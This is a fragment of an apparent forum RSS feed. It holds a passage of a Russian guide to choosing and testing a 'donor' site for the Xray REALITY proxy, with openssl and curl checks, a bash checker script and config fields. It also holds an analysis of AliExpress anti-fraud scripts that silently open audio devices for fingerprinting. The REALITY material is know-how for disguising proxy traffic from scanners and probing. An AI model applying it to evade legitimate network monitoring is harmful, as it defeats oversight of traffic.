Флаг -tls1_3 оставляет клиенту единственный вариант. Соединение не поднялось — кандидата вычёркиваем: конструкция REALITY заимствует свойства хендшейка версии 1.3, на 1.2 она не собирается. Строка ALPN protocol: h2 обязана присутствовать; http/1.1 или пустой ALPN означают, что донор ведёт себя не так, как ведут себя крупные сайты в браузере. 

Строки вывода OpenSSL 3.x, в которых лежат ответы; значения зависят от домена

Заодно видна строка Server Temp Key: X25519, 253 bits — согласованная группа обмена ключами. Документация REALITY никаких требований к ней не выдвигает, но глянуть стоит: чем меньше профиль донора отличается от типичного «крупный сайт отвечает браузеру», тем лучше. 

Третий отказ проверяется через коды ответа: 

curl -sI -o /dev/null -w "%{http_code} %{redirect_url}\n" https://пример.tld/
curl -sI -o /dev/null -w "%{http_code} %{redirect_url}\n" https://www.пример.tld/

Наглядно это видно на общеизвестном домене: python.org выдаёт 301 https://www.python.org/, тогда как www.python.org отвечает честной двухсоткой. Ровно поэтому официальные примеры перечисляют в serverNames оба имени, а в target ставят то, за которым лежит содержимое. 

⚠️ Осторожно Апекс-домен, умеющий только перебрасывать на www, в доноры не годится. Ваш сервер начнёт раздавать сканерам редиректы там, где должен раздавать страницу, — а это как раз ситуация, когда «сайт» ведёт себя не как сайт. 

Группа 2. То, из чего складывается сам конфиг

Список имён для serverNames берётся не с потолка, а из сертификата донора: 

openssl s_client -connect www.пример.tld:443 -servername www.пример.tld &lt;/dev/null 2&gt;/dev/null \
  | openssl x509 -noout -ext subjectAltName

И здесь спрятана мина. Подстановочные символы в serverNames не поддерживаются — об этом сказано и в README, и в описании поля. Сертификат выписан на *.пример.tld? Значит, перечисляйте конкретные имена, которые резолвятся и реально отдают страницу. 

⛔ Так делать нельзя "serverNames": ["*.пример.tld"] — это не краткая запись, а неработающий конфиг: звёздочку REALITY не раскрывает. 

Полезная тонкость того же поля: среди значений допустима пустая строка "", и она разрешает подключения совсем без SNI. Со стороны клиента есть парная возможность — вписать в serverName произвольный IP-адрес, и тогда ClientHello уйдёт без SNI. 

Группа 3. То, во что вам обойдётся содержание донора

dig +short www.пример.tld

Полученный адрес пробивается по владельцу — whois, RIPE, любой определитель ASN. Обнаружился крупный CDN? Возвращаемся к цитате из начала: весь неаутентифицированный поток пойдёт туда за ваш счёт. Отдельная беда в том, что открытый форвардер находится без труда, а трафик принимает от кого угодно. 

Штатный тормоз — токен-бакет на фолбэке: 

"limitFallbackUpload": {
  "afterBytes": 0,
  "bytesPerSec": 0,
  "burstBytesPerSec": 0
},
"limitFallbackDownload": {
  "afterBytes": 0,
  "bytesPerSec": 0,
  "burstBytesPerSec": 0
}

Параметр afterBytes задаёт объём, пропускаемый без ограничений (именно эти первые килобайты и есть настоящий ответ донора, который обязан выглядеть штатно), bytesPerSec — скорость после порога, burstBytesPerSec — разрешённый всплеск. Ноль в bytesPerSec означает, что ограничение не работает. 

🔒 Безопасность Есть и обратная сторона: чересчур одинаковые лимиты сами превращаются в признак. README REALITY прямо советует рандомизировать подобные параметры при массовом автоматическом развёртывании, чтобы конфиги не совпадали байт в байт. 

Вторая статья расходов — задержка: 

curl -o /dev/null -s -w "connect=%{time_connect}s tls=%{time_appconnect}s\n" https://www.пример.tld/

Упомянутая в README географическая близость считается от сервера, а не от вас. Каждое неудачное соединение — очередной поход VPS к донору, и его задержка суммируется с вашей. Донор в соседнем дата-центре и донор за океаном дают разный профиль отклика. 

Группа 4. То, что важно только при ML-DSA-65

Пункт касается исключительно тех, кто включает mldsa65Seed. Требование сформулировано жёстко: с включённой постквантовой подписью сертификат, который отдаёт target, обязан превышать 3500 байт — иначе временный сертификат REALITY окажется крупнее оригинала и подмена станет заметна по размеру. 

openssl s_client -connect www.пример.tld:443 -servername www.пример.tld -showcerts &lt;/dev/null 2&gt;/dev/null \
  | awk '/BEGIN CERTIFICATE/,/END CERTIFICATE/' | grep -v CERTIFICATE \
  | tr -d '\n' | base64 -d | wc -c

На выходе — суммарный размер цепочки в байтах DER. Не дотянули до 3500? Либо другой донор, либо отказ от mldsa65Seed. 

📌 Заметка Порог без труда берут домены с длинными цепочками и RSA-сертификатами, а компактные ECDSA-цепочки из двух звеньев в него нередко не влезают. Тот редкий случай, когда более современный сертификат донора играет против вас. 

Параметры realitySettings: что откуда берётся


Поле (сервер)ОбязательноеЧто писатьОткуда значение
targetдаwww.пример.tld:443, формат как у dest в VLESS fallbacksгруппы 1–4
xverнетверсия PROXY-протокола, формат как у xver в fallbacksсхема вашего фронта
serverNamesдаконкретные имена, без *; допустима пустая строкаSAN сертификата, группа 2
privateKeyдавывод xray x25519генерируется локально
shortIdsдадо 16 hex-знаков, чётное количество; пустое значение разрешает клиенту не слать shortIdпридумываете
minClientVerнетпо умолчанию 26.3.27документация
maxClientVerнетверхняя граница версии клиентадокументация
maxTimeDiffнетдопустимое расхождение часов, мсваш выбор
mldsa65Seedнетseed постквантовой подписи ML-DSA-65требует группу 4
limitFallbackUpload / limitFallbackDownloadнетafterBytes, bytesPerSec, burstBytesPerSecгруппа 3


Формат shortIds стоит запомнить отдельно: восемь байт — это шестнадцать шестнадцатеричных знаков, количество знаков обязано быть чётным, короткая запись добивается нулями. Пример из документации: "aa1234" разворачивается в "aa12340000000000". 

У клиента без вариантов нужны fingerprint (режим unsafe, выключающий uTLS, здесь недоступен) и password. Второе — переименованный publicKey; в документации отдельно оговорено, что это действительно публичный ключ x25519, однако в схеме REALITY он лежит у клиента, и выкладывать его в открытый доступ не следует. Есть также spiderX — стартовый путь «краулера», который у разных клиентов должен различаться. 

ℹ️ Справка Названия полей разъехались, и с этим придётся жить: свежая документация оперирует именами target и password, а официальный репозиторий Xray-examples по-прежнему показывает конфиг с dest и publicKey. Генераторы ссылок и панели используют оба варианта, так что старые имена в чужом конфиге — обычное дело. 

То же самое в sing-box

Донор описывается блоком tls.reality.handshake — поля server и server_port. Пара ключей создаётся командой sing-box generate reality-keypair, short_id представляет собой hex-строку длиной от нуля до восьми знаков, а пустой max_time_difference попросту выключает контроль расхождения часов. Критерии к сайту-донору не меняются — всё описанное выше переносится один в один. 

Один скрипт вместо десяти команд

#!/bin/bash
# ./check-target.sh www.пример.tld
h="$1"
o=$(openssl s_client -connect "$h:443" -servername "$h" -alpn h2 -status -tls1_3 &lt;/dev/null 2&gt;/dev/null)
[ -z "$o" ] &amp;&amp; { echo "$h: TLSv1.3 не согласован — отбой"; exit 1; }
echo "$o" | grep -E "^New,|^ALPN protocol|Server Temp Key|OCSP"
echo "$h" | xargs -I{} curl -sI -o /dev/null -w "HTTP: %{http_code} %{redirect_url}\n" "https://{}/"
echo "$o" | openssl x509 -noout -ext subjectAltName 2&gt;/dev/null | tail -n +2
echo "IP: $(dig +short "$h" | tr '\n' ' ')"
curl -o /dev/null -s -w "connect=%{time_connect}s tls=%{time_appconnect}s\n" "https://$h/"
chain=$(openssl s_client -connect "$h:443" -servername "$h" -showcerts &lt;/dev/null 2&gt;/dev/null \
  | awk '/BEGIN CERTIFICATE/,/END CERTIFICATE/' | grep -v CERTIFICATE | tr -d '\n' | base64 -d | wc -c)
echo "Цепочка: $chain байт (для mldsa65Seed нужно &gt; 3500)"

Запускать обязательно на самом VPS. С ноутбука третья и вторая половина проверок теряют смысл, а результат первой может разойтись с тем, что увидит сервер. 

Слепые зоны этого стенда

Скрипт закрывает техническую часть и ничего не говорит про остальное, а остальное порой весит больше. 

Он не подскажет, сколько соседних серверов на том же хостинге и в той же подсети уже назначили донором тот же домен, — а одинаковый SNI на десятке смежных адресов бросается в глаза сильнее любой мелочи в хендшейке. Не предскажет поведение донора через месяц: смена CDN, новый сертификат покороче, внезапный редирект. Не спасёт от активного зондирования: неаутентифицированным REALITY честно отдаёт чужой сайт, но профиль задержек вашей машины всё равно не совпадает с профилем донора. 

✅ Как правильно Гоняйте стенд не однократно при установке, а раз в пару месяцев по расписанию. И держите про запас второго проверенного кандидата, чтобы замена сводилась к правке одной строки в конфиге. 

Общий трезвый итог: грамотно подобранный донор снимает несколько конкретных признаков, но невидимым соединение не делает. 



Источники


XTLS/REALITY — README и README.en.md — требования к сайту-донору, отсутствие поддержки wildcard, механика временного сертификата
REALITY — документация Project X — все поля realitySettings, предупреждение про CDN и порт-форвардер, порог 3500 байт для mldsa65Seed, значение minClientVer по умолчанию
XTLS/Xray-examples — VLESS-TCP-XTLS-Vision-REALITY — официальный пример конфига
sing-box — TLS — поля reality.handshake, генерация пары ключей


💬 Вопрос к сообществу Что у вас прописано в target прямо сейчас и как этот домен туда попал — считали задержку, смотрели сертификат или взяли из первой попавшейся инструкции? Случалось ли, что донор «протухал» и его приходилось экстренно менять?]]></description><pubDate>Sun, 23 Aug 2026 22:25:36 +0000</pubDate></item><item><title>&#x412;&#x43A;&#x43B;&#x430;&#x434;&#x43A;&#x430; &#x43C;&#x43E;&#x43B;&#x447;&#x430; &#x437;&#x430;&#x431;&#x440;&#x430;&#x43B;&#x430; &#x437;&#x432;&#x443;&#x43A;&#x43E;&#x432;&#x443;&#x44E; &#x43A;&#x430;&#x440;&#x442;&#x443;: &#x440;&#x430;&#x437;&#x431;&#x43E;&#x440; &#x441;&#x43A;&#x440;&#x44B;&#x442;&#x43E;&#x433;&#x43E; WebAudio &#x43D;&#x430; AliExpress</title><link><![CDATA[https://openode.xyz/topic/2053-%D0%B2%D0%BA%D0%BB%D0%B0%D0%B4%D0%BA%D0%B0-%D0%BC%D0%BE%D0%BB%D1%87%D0%B0-%D0%B7%D0%B0%D0%B1%D1%80%D0%B0%D0%BB%D0%B0-%D0%B7%D0%B2%D1%83%D0%BA%D0%BE%D0%B2%D1%83%D1%8E-%D0%BA%D0%B0%D1%80%D1%82%D1%83-%D1%80%D0%B0%D0%B7%D0%B1%D0%BE%D1%80-%D1%81%D0%BA%D1%80%D1%8B%D1%82%D0%BE%D0%B3%D0%BE-webaudio-%D0%BD%D0%B0-aliexpress/?do=findComment&comment=9223]]></link><description>&#x41E;&#x431;&#x44B;&#x447;&#x43D;&#x44B;&#x439; AudioContext, &#x43F;&#x43E;&#x434;&#x43A;&#x43B;&#x44E;&#x447;&#x451;&#x43D;&#x43D;&#x44B;&#x439; &#x43A; destination, &#x43E;&#x442;&#x43A;&#x440;&#x44B;&#x432;&#x430;&#x435;&#x442; &#x430;&#x443;&#x434;&#x438;&#x43E;&#x443;&#x441;&#x442;&#x440;&#x43E;&#x439;&#x441;&#x442;&#x432;&#x43E; &#x434;&#x430;&#x436;&#x435; &#x43F;&#x440;&#x438; &#x43D;&#x443;&#x43B;&#x435;&#x432;&#x43E;&#x439; &#x433;&#x440;&#x43E;&#x43C;&#x43A;&#x43E;&#x441;&#x442;&#x438;

&#x411;&#x440;&#x430;&#x443;&#x437;&#x435;&#x440; &#x43F;&#x43E;&#x43A;&#x430;&#x437;&#x44B;&#x432;&#x430;&#x435;&#x442; &#x437;&#x43D;&#x430;&#x447;&#x43E;&#x43A; &#x434;&#x438;&#x43D;&#x430;&#x43C;&#x438;&#x43A;&#x430;, &#x43A;&#x43E;&#x433;&#x434;&#x430; &#x432;&#x43E; &#x432;&#x43A;&#x43B;&#x430;&#x434;&#x43A;&#x435; &#x447;&#x442;&#x43E;-&#x442;&#x43E; &#x438;&#x433;&#x440;&#x430;&#x435;&#x442;. &#x421;&#x447;&#x438;&#x442;&#x430;&#x435;&#x442;&#x441;&#x44F;, &#x447;&#x442;&#x43E; &#x44D;&#x442;&#x43E;&#x433;&#x43E; &#x434;&#x43E;&#x441;&#x442;&#x430;&#x442;&#x43E;&#x447;&#x43D;&#x43E;: &#x43D;&#x435;&#x442; &#x437;&#x43D;&#x430;&#x447;&#x43A;&#x430; &#x2014; &#x43D;&#x435;&#x442; &#x437;&#x432;&#x443;&#x43A;&#x430; &#x2014; &#x43D;&#x435;&#x442; &#x438; &#x43F;&#x440;&#x435;&#x442;&#x435;&#x43D;&#x437;&#x438;&#x439; &#x43A; &#x436;&#x435;&#x43B;&#x435;&#x437;&#x443;. &#x418;&#x441;&#x442;&#x43E;&#x440;&#x438;&#x44F;, &#x43E; &#x43A;&#x43E;&#x442;&#x43E;&#x440;&#x43E;&#x439; &#x43F;&#x43E;&#x439;&#x434;&#x451;&#x442; &#x440;&#x435;&#x447;&#x44C;, &#x43B;&#x43E;&#x43C;&#x430;&#x435;&#x442; &#x438;&#x43C;&#x435;&#x43D;&#x43D;&#x43E; &#x44D;&#x442;&#x43E; &#x434;&#x43E;&#x43F;&#x443;&#x449;&#x435;&#x43D;&#x438;&#x435;. 

&#x416;&#x430;&#x43B;&#x43E;&#x431;&#x430; &#x432;&#x44B;&#x433;&#x43B;&#x44F;&#x434;&#x435;&#x43B;&#x430; &#x441;&#x43E;&#x432;&#x441;&#x435;&#x43C; &#x43D;&#x435; &#x43A;&#x430;&#x43A; &#x438;&#x441;&#x442;&#x43E;&#x440;&#x438;&#x44F; &#x43F;&#x440;&#x43E; &#x43F;&#x440;&#x438;&#x432;&#x430;&#x442;&#x43D;&#x43E;&#x441;&#x442;&#x44C;. &#x413;&#x430;&#x440;&#x43D;&#x438;&#x442;&#x443;&#x440;&#x430; &#x441; &#x43C;&#x443;&#x43B;&#x44C;&#x442;&#x438;&#x43F;&#x43E;&#x439;&#x43D;&#x442;&#x43E;&#x43C; &#x434;&#x435;&#x440;&#x436;&#x438;&#x442; &#x434;&#x432;&#x430; &#x43F;&#x43E;&#x434;&#x43A;&#x43B;&#x44E;&#x447;&#x435;&#x43D;&#x438;&#x44F; &#x441;&#x440;&#x430;&#x437;&#x443; &#x2014; &#x43D;&#x43E;&#x443;&#x442;&#x431;&#x443;&#x43A; &#x438; &#x441;&#x43C;&#x430;&#x440;&#x442;&#x444;&#x43E;&#x43D;. &#x421;&#x442;&#x43E;&#x438;&#x442; &#x43E;&#x442;&#x43A;&#x440;&#x44B;&#x442;&#x44C; &#x433;&#x43B;&#x430;&#x432;&#x43D;&#x443;&#x44E; AliExpress &#x438; &#x43E;&#x441;&#x442;&#x430;&#x432;&#x438;&#x442;&#x44C; &#x432;&#x43A;&#x43B;&#x430;&#x434;&#x43A;&#x443; &#x432; &#x43F;&#x43E;&#x43A;&#x43E;&#x435; &#x43D;&#x430; &#x43D;&#x435;&#x441;&#x43A;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E; &#x441;&#x435;&#x43A;&#x443;&#x43D;&#x434;, &#x43A;&#x430;&#x43A; &#x441;&#x43C;&#x430;&#x440;&#x442;&#x444;&#x43E;&#x43D; &#x437;&#x430;&#x43C;&#x43E;&#x43B;&#x43A;&#x430;&#x435;&#x442;. &#x412;&#x43A;&#x43B;&#x430;&#x434;&#x43A;&#x443; &#x437;&#x430;&#x43A;&#x440;&#x44B;&#x43B;&#x438; &#x2014; &#x432;&#x43E;&#x441;&#x43F;&#x440;&#x43E;&#x438;&#x437;&#x432;&#x435;&#x434;&#x435;&#x43D;&#x438;&#x435; &#x432;&#x435;&#x440;&#x43D;&#x443;&#x43B;&#x43E;&#x441;&#x44C;. &#x41F;&#x43B;&#x435;&#x435;&#x440;&#x430; &#x43D;&#x430; &#x441;&#x442;&#x440;&#x430;&#x43D;&#x438;&#x446;&#x435; &#x43D;&#x435;&#x442;, &#x432;&#x438;&#x434;&#x435;&#x43E; &#x43D;&#x435;&#x442;, &#x437;&#x43D;&#x430;&#x447;&#x43A;&#x430; &#x434;&#x438;&#x43D;&#x430;&#x43C;&#x438;&#x43A;&#x430; &#x442;&#x43E;&#x436;&#x435; &#x43D;&#x435;&#x442;. 

&#x41D;&#x430;&#x445;&#x43E;&#x434;&#x43A;&#x443; &#x43E;&#x43F;&#x443;&#x431;&#x43B;&#x438;&#x43A;&#x43E;&#x432;&#x430;&#x43B; 20 &#x430;&#x432;&#x433;&#x443;&#x441;&#x442;&#x430; 2026 &#x433;&#x43E;&#x434;&#x430; &#x430;&#x432;&#x442;&#x43E;&#x440; &#x431;&#x43B;&#x43E;&#x433;&#x430; m-c-tech; &#x44D;&#x444;&#x444;&#x435;&#x43A;&#x442; &#x432;&#x43E;&#x441;&#x43F;&#x440;&#x43E;&#x438;&#x437;&#x432;&#x451;&#x43B;&#x441;&#x44F; &#x438; &#x432; Firefox, &#x438; &#x432; Chrome &#x43F;&#x43E;&#x434; Windows. &#x414;&#x430;&#x43B;&#x44C;&#x448;&#x435; &#x2014; &#x432;&#x43E;&#x441;&#x441;&#x442;&#x430;&#x43D;&#x43E;&#x432;&#x43B;&#x435;&#x43D;&#x43D;&#x44B;&#x439; &#x445;&#x43E;&#x434; &#x440;&#x430;&#x441;&#x441;&#x43B;&#x435;&#x434;&#x43E;&#x432;&#x430;&#x43D;&#x438;&#x44F;, &#x43A;&#x43E;&#x442;&#x43E;&#x440;&#x44B;&#x439; &#x43D;&#x435;&#x441;&#x43B;&#x43E;&#x436;&#x43D;&#x43E; &#x43F;&#x43E;&#x432;&#x442;&#x43E;&#x440;&#x438;&#x442;&#x44C; &#x441;&#x430;&#x43C;&#x43E;&#x43C;&#x443;. 

&#x41F;&#x43E;&#x434;&#x43C;&#x435;&#x43D;&#x430; &#x43A;&#x43E;&#x43D;&#x441;&#x442;&#x440;&#x443;&#x43A;&#x442;&#x43E;&#x440;&#x430;: &#x43A;&#x430;&#x43A; &#x443;&#x432;&#x438;&#x434;&#x435;&#x442;&#x44C; &#x43D;&#x435;&#x432;&#x438;&#x434;&#x438;&#x43C;&#x43E;&#x435;

&#x41B;&#x44E;&#x431;&#x43E;&#x439; &#x437;&#x432;&#x443;&#x43A; &#x438;&#x437; JavaScript &#x440;&#x43E;&#x436;&#x434;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x432; &#x433;&#x440;&#x430;&#x444;&#x435; WebAudio, &#x430; &#x433;&#x440;&#x430;&#x444; &#x43D;&#x435;&#x432;&#x43E;&#x437;&#x43C;&#x43E;&#x436;&#x435;&#x43D; &#x431;&#x435;&#x437; &#x432;&#x44B;&#x437;&#x43E;&#x432;&#x430; &#x43A;&#x43E;&#x43D;&#x441;&#x442;&#x440;&#x443;&#x43A;&#x442;&#x43E;&#x440;&#x430; AudioContext. &#x41E;&#x442;&#x441;&#x44E;&#x434;&#x430; &#x438; &#x43F;&#x440;&#x438;&#x451;&#x43C;: &#x43A;&#x43E;&#x43D;&#x441;&#x442;&#x440;&#x443;&#x43A;&#x442;&#x43E;&#x440; &#x437;&#x430;&#x43C;&#x435;&#x43D;&#x44F;&#x435;&#x442;&#x441;&#x44F; &#x43D;&#x430;&#x441;&#x43B;&#x435;&#x434;&#x43D;&#x438;&#x43A;&#x43E;&#x43C;, &#x43A;&#x43E;&#x442;&#x43E;&#x440;&#x44B;&#x439; &#x43F;&#x435;&#x440;&#x435;&#x434; &#x434;&#x435;&#x43B;&#x43E;&#x43C; &#x43F;&#x438;&#x448;&#x435;&#x442; &#x432; &#x43A;&#x43E;&#x43D;&#x441;&#x43E;&#x43B;&#x44C; &#x441;&#x43E;&#x441;&#x442;&#x43E;&#x44F;&#x43D;&#x438;&#x435; &#x438; &#x441;&#x442;&#x435;&#x43A; &#x432;&#x44B;&#x437;&#x43E;&#x432;&#x43E;&#x432;. 

const OriginalAudioContext = window.AudioContext;
window.AudioContext = class extends OriginalAudioContext {
    constructor(...args) {
        super(...args);
        console.log("AudioContext created", {
            state: this.state,
            stack: new Error().stack
        });
    }
};

&#x412;&#x430;&#x436;&#x43D;&#x430; &#x43E;&#x447;&#x435;&#x440;&#x451;&#x434;&#x43D;&#x43E;&#x441;&#x442;&#x44C;: &#x43A;&#x43E;&#x434; &#x434;&#x43E;&#x43B;&#x436;&#x435;&#x43D; &#x43E;&#x442;&#x440;&#x430;&#x431;&#x43E;&#x442;&#x430;&#x442;&#x44C; &#x440;&#x430;&#x43D;&#x44C;&#x448;&#x435; &#x441;&#x43A;&#x440;&#x438;&#x43F;&#x442;&#x43E;&#x432; &#x441;&#x442;&#x440;&#x430;&#x43D;&#x438;&#x446;&#x44B;, &#x43F;&#x43E;&#x44D;&#x442;&#x43E;&#x43C;&#x443; &#x435;&#x433;&#x43E; &#x432;&#x435;&#x448;&#x430;&#x44E;&#x442; &#x43F;&#x43E;&#x43B;&#x44C;&#x437;&#x43E;&#x432;&#x430;&#x442;&#x435;&#x43B;&#x44C;&#x441;&#x43A;&#x438;&#x43C; &#x441;&#x43A;&#x440;&#x438;&#x43F;&#x442;&#x43E;&#x43C; &#x441; @run-at document-start. &#x422;&#x435;&#x43C; &#x436;&#x435; &#x441;&#x43F;&#x43E;&#x441;&#x43E;&#x431;&#x43E;&#x43C; &#x43E;&#x431;&#x43E;&#x440;&#x430;&#x447;&#x438;&#x432;&#x430;&#x435;&#x442;&#x441;&#x44F; AudioNode.prototype.connect() &#x2014; &#x442;&#x430;&#x43A; &#x441;&#x442;&#x430;&#x43D;&#x43E;&#x432;&#x438;&#x442;&#x441;&#x44F; &#x432;&#x438;&#x434;&#x43D;&#x43E;, &#x43A;&#x430;&#x43A;&#x438;&#x435; &#x443;&#x437;&#x43B;&#x44B; &#x43A; &#x43A;&#x430;&#x43A;&#x438;&#x43C; &#x43F;&#x440;&#x438;&#x441;&#x43E;&#x435;&#x434;&#x438;&#x43D;&#x44F;&#x44E;&#x442;&#x441;&#x44F;. 

&#x41A;&#x43E;&#x43D;&#x441;&#x43E;&#x43B;&#x44C; &#x432;&#x44B;&#x434;&#x430;&#x43B;&#x430; &#x434;&#x432;&#x430; &#x43A;&#x43E;&#x43D;&#x442;&#x435;&#x43A;&#x441;&#x442;&#x430; &#x432;&#x43C;&#x435;&#x441;&#x442;&#x43E; &#x43E;&#x436;&#x438;&#x434;&#x430;&#x435;&#x43C;&#x43E;&#x433;&#x43E; &#x43D;&#x443;&#x43B;&#x44F;. &#x41E;&#x431;&#x430; &#x43F;&#x435;&#x440;&#x435;&#x448;&#x43B;&#x438; &#x432; &#x441;&#x43E;&#x441;&#x442;&#x43E;&#x44F;&#x43D;&#x438;&#x435; running, &#x438; &#x441;&#x442;&#x435;&#x43A;&#x438; &#x43E;&#x431;&#x43E;&#x438;&#x445; &#x443;&#x43F;&#x438;&#x440;&#x430;&#x43B;&#x438;&#x441;&#x44C; &#x432; &#x43F;&#x430;&#x440;&#x443; &#x444;&#x430;&#x439;&#x43B;&#x43E;&#x432; &#x441; &#x43E;&#x434;&#x43D;&#x43E;&#x439; &#x440;&#x430;&#x437;&#x434;&#x430;&#x447;&#x438;: 

https://assets.aliexpress-media.com/g/AWSC/uab/1.140.0/collina.js
https://assets.aliexpress-media.com/g/AWSC/fireyejs/1.231.67/fireyejs.js

&#x41F;&#x43E;&#x434; &#x430;&#x431;&#x431;&#x440;&#x435;&#x432;&#x438;&#x430;&#x442;&#x443;&#x440;&#x43E;&#x439; AWSC &#x443; Alibaba &#x441;&#x43A;&#x440;&#x44B;&#x432;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x43D;&#x430;&#x431;&#x43E;&#x440; &#x430;&#x43D;&#x442;&#x438;&#x444;&#x440;&#x43E;&#x434;-&#x441;&#x43A;&#x440;&#x438;&#x43F;&#x442;&#x43E;&#x432;. &#x41F;&#x43E;&#x434;&#x442;&#x432;&#x435;&#x440;&#x436;&#x434;&#x435;&#x43D;&#x438;&#x435; &#x43F;&#x440;&#x438;&#x445;&#x43E;&#x434;&#x438;&#x442; &#x441;&#x43E; &#x441;&#x442;&#x43E;&#x440;&#x43E;&#x43D;&#x44B;: &#x432; &#x442;&#x440;&#x435;&#x43A;&#x435;&#x440;&#x435; &#x444;&#x438;&#x43B;&#x44C;&#x442;&#x440;&#x43E;&#x432; AdGuard &#x437;&#x430;&#x43A;&#x440;&#x44B;&#x442;&#x430; &#x437;&#x430;&#x44F;&#x432;&#x43A;&#x430; &#x2116;199162 &#x43F;&#x43E; aliexpress.com, &#x438; &#x442;&#x430;&#x43C; &#x443;&#x43A;&#x430;&#x437;&#x430;&#x43D; &#x440;&#x43E;&#x432;&#x43D;&#x43E; &#x442;&#x43E;&#x442; &#x436;&#x435; &#x43F;&#x443;&#x442;&#x44C; &#x2014; AWSC/uab/1.140.0/collina.js, &#x43F;&#x440;&#x438;&#x447;&#x451;&#x43C; &#x441; &#x442;&#x43E;&#x439; &#x436;&#x435; &#x432;&#x435;&#x440;&#x441;&#x438;&#x435;&#x439;. 

&#x1F4CC; &#x417;&#x430;&#x43C;&#x435;&#x442;&#x43A;&#x430; &#x41C;&#x443;&#x43B;&#x44C;&#x442;&#x438;&#x43F;&#x43E;&#x439;&#x43D;&#x442;&#x43E;&#x43C; &#x43D;&#x430;&#x437;&#x44B;&#x432;&#x430;&#x44E;&#x442; &#x440;&#x435;&#x436;&#x438;&#x43C;, &#x43F;&#x440;&#x438; &#x43A;&#x43E;&#x442;&#x43E;&#x440;&#x43E;&#x43C; &#x433;&#x430;&#x440;&#x43D;&#x438;&#x442;&#x443;&#x440;&#x430; &#x443;&#x434;&#x435;&#x440;&#x436;&#x438;&#x432;&#x430;&#x435;&#x442; &#x434;&#x432;&#x430; &#x430;&#x43A;&#x442;&#x438;&#x432;&#x43D;&#x44B;&#x445; &#x441;&#x43E;&#x435;&#x434;&#x438;&#x43D;&#x435;&#x43D;&#x438;&#x44F; &#x43E;&#x434;&#x43D;&#x43E;&#x432;&#x440;&#x435;&#x43C;&#x435;&#x43D;&#x43D;&#x43E;. &#x412;&#x44B;&#x431;&#x43E;&#x440; &#x438;&#x441;&#x442;&#x43E;&#x447;&#x43D;&#x438;&#x43A;&#x430; &#x434;&#x435;&#x43B;&#x430;&#x44E;&#x442; &#x43D;&#x435; &#x43D;&#x430;&#x443;&#x448;&#x43D;&#x438;&#x43A;&#x438;: &#x440;&#x435;&#x448;&#x430;&#x435;&#x442; &#x441;&#x432;&#x44F;&#x437;&#x43A;&#x430; &#x43E;&#x43F;&#x435;&#x440;&#x430;&#x446;&#x438;&#x43E;&#x43D;&#x43D;&#x43E;&#x439; &#x441;&#x438;&#x441;&#x442;&#x435;&#x43C;&#x44B; &#x438; &#x43F;&#x440;&#x43E;&#x444;&#x438;&#x43B;&#x44F; A2DP. &#x41E;&#x442;&#x43A;&#x440;&#x44B;&#x43B;&#x441;&#x44F; &#x430;&#x443;&#x434;&#x438;&#x43E;&#x43F;&#x43E;&#x442;&#x43E;&#x43A; &#x441; &#x43E;&#x434;&#x43D;&#x43E;&#x439; &#x441;&#x442;&#x43E;&#x440;&#x43E;&#x43D;&#x44B; &#x2014; &#x432;&#x442;&#x43E;&#x440;&#x430;&#x44F; &#x441;&#x442;&#x43E;&#x440;&#x43E;&#x43D;&#x430; &#x430;&#x432;&#x442;&#x43E;&#x43C;&#x430;&#x442;&#x438;&#x447;&#x435;&#x441;&#x43A;&#x438; &#x43E;&#x442;&#x445;&#x43E;&#x434;&#x438;&#x442; &#x43D;&#x430; &#x432;&#x442;&#x43E;&#x440;&#x43E;&#x439; &#x43F;&#x43B;&#x430;&#x43D;. 

&#x41F;&#x44F;&#x442;&#x44C; &#x443;&#x437;&#x43B;&#x43E;&#x432; &#x438; &#x43D;&#x438; &#x43E;&#x434;&#x43D;&#x43E;&#x439; &#x43A;&#x43E;&#x43B;&#x43E;&#x43D;&#x43A;&#x438;

&#x41E;&#x441;&#x446;&#x438;&#x43B;&#x43B;&#x44F;&#x442;&#x43E;&#x440;, &#x430;&#x43D;&#x430;&#x43B;&#x438;&#x437;&#x430;&#x442;&#x43E;&#x440;, ScriptProcessor, &#x433;&#x435;&#x439;&#x43D; &#x43D;&#x430; &#x43D;&#x443;&#x43B;&#x435; &#x2014; &#x438; &#x432;&#x44B;&#x445;&#x43E;&#x434; &#x43D;&#x430; &#x437;&#x432;&#x443;&#x43A;&#x43E;&#x432;&#x443;&#x44E; &#x43A;&#x430;&#x440;&#x442;&#x443;

&#x421;&#x43E;&#x431;&#x440;&#x430;&#x43D;&#x43D;&#x430;&#x44F; &#x446;&#x435;&#x43F;&#x43E;&#x447;&#x43A;&#x430; &#x43E;&#x43A;&#x430;&#x437;&#x430;&#x43B;&#x430;&#x441;&#x44C; &#x445;&#x440;&#x435;&#x441;&#x442;&#x43E;&#x43C;&#x430;&#x442;&#x438;&#x439;&#x43D;&#x43E;&#x439; &#x434;&#x43B;&#x44F; &#x437;&#x432;&#x443;&#x43A;&#x43E;&#x432;&#x43E;&#x433;&#x43E; &#x43E;&#x442;&#x43F;&#x435;&#x447;&#x430;&#x442;&#x43A;&#x430;: &#x43F;&#x438;&#x43B;&#x43E;&#x43E;&#x431;&#x440;&#x430;&#x437;&#x43D;&#x44B;&#x439; &#x43E;&#x441;&#x446;&#x438;&#x43B;&#x43B;&#x44F;&#x442;&#x43E;&#x440;, &#x437;&#x430; &#x43D;&#x438;&#x43C; AnalyserNode, &#x437;&#x430;&#x442;&#x435;&#x43C; ScriptProcessorNode, &#x441;&#x43B;&#x435;&#x434;&#x43E;&#x43C; GainNode &#x441;&#x43E; &#x437;&#x43D;&#x430;&#x447;&#x435;&#x43D;&#x438;&#x435;&#x43C; gain.value = 0 &#x438;, &#x43D;&#x430;&#x43A;&#x43E;&#x43D;&#x435;&#x446;, AudioContext.destination. 

